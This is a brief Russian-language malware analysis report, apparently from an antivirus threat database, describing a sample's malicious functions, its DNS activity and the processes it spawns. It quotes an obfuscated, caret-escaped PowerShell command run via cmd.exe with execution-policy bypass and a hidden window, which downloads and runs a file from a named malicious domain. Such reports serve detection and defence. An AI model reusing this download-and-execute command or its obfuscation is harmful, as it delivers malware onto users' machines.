Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwe^rsH^ElL.exE^ -eXecuT^I^O^NP^oLIc^Y ^b^YPa^s^S -NO^pro^FiL^E^ ^-Wi^Nd^ow^StYL^e H^i^d^D^E^n (nEW-O^BjE^CT ^sy^St^e^m.nEt.^W^ebC^L^IE^Nt^).d^OWnl^O^aD^F^Ile('http://trans...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwe^rsH^ElL.exE^ -eXecuT^I^O^NP^oLIc^Y ^b^YPa^s^S -NO^pro^FiL^E^ ^-Wi^Nd^ow^StYL^e H^i^d^D^E^n (nEW-O^BjE^CT ^sy^St^e^m.nEt.^W^ebC^L^IE^Nt^).d^OWnl^O^aD^F^Ile('http://trans...' (со скрытым окном)
